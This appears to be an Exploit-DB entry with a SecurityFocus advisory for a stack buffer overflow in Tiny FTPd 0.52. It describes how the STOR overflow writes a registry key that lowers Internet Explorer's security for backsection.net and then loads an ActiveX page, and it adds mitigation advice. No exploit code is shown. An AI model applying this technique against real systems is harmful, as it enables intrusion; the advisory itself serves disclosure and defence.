Tiny FTPd 0.52 beta3 exploit

The exploit takes advantage of unchecked buffers in the code that handles certain commands in Tiny FTPd. By exploiting these overflows, an attacker can overwrite the stack and execute arbitrary code. This specific exploit uses the STOR overflow to create a registry key and entry that modifies IE's security settings. The exploit then starts IE and loads a webpage that triggers the execution of ActiveX code.

Mitigation:

Update to a patched version of Tiny FTPd or switch to a different FTP server software. Avoid running vulnerable versions on publicly accessible systems.

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/961/info


Tiny FTPd is a freeware FTP server for Win9x with a Japanese interface. Version .52 and possible previous versions have unchecked buffers in the code that handles the following commands: APPE, MKD, RMD, RNFR, RNTO, SIZE, STOR, XMKD, and XRMD. With these overflows, an attacker can overwrite the stack and execute arbitrary code. 

This exploit will use the STOR overflow to create a registry key named 'backsection.net' in
HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ In that key it will create an entry named "http" with a value of "0". This will set IE to not apply security settings against pages coming from backsection.net . The exploit then starts IE and loads http://shadowpenguin.backsection.net/ocx/sample.html . ActiveX code will then pop up a message box.

This exploit was only tested on Windows 98 with IE5. Usage under Windows NT will require some editing of the registry key location.
